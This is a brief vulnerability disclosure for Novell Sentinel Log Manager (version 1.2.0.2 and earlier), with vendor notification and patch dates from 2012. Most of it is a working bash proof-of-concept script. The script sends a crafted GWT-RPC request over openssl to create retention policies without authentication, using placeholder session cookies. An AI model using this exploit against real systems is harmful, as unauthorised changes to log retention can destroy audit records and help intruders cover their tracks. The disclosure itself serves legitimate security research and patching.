Novell Sentinel Log Manager ver. <=1.2.0.2 allows unauthenticated

users configuring retention policies.



Vendor informed: 2012/09/06

Patch Released: 2012/09/21

PoC:



#!/bin/bash



TARGET=$1

PORT=8443



if [ $# -ne 1 ]; then

  echo "Usage: `basename $0` target"

  exit 1

fi



echo "POST /novelllogmanager/datastorageservice.rpc HTTP/1.1

Host: $TARGET:$PORT

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Content-Type: text/x-gwt-rpc; charset=utf-8

X-GWT-Permutation: whatever

X-GWT-Module-Base:

https://$TARGET:$PORT/novelllogmanager/com.novell.siem.logmanager.LogManager/

Content-Length: 385

Cookie: JSESSIONID=whatever

Pragma: no-cache

Cache-Control: no-cache

Connection: close



5|0|9|https://$TARGET:$PORT/novelllogmanager/com.novell.siem.logmanager.LogManager/|E377321CAAD2FABED6283BD3643E4289|com.novell.sentinel.scout.client.datastorage.SentinelDataStorageService|createRetentionPolicy|com.novell.sentinel.scout.client.datastorage.retention.RetentionPolicy/419393389|sev:[0

TO 5]|1|AAA|java.util.ArrayList/3821976829|1|2|3|4|1|5|5|0|0|0|6|1|7|7|8|0|0|9|0|





" | openssl s_client -quiet -connect $TARGET:$PORT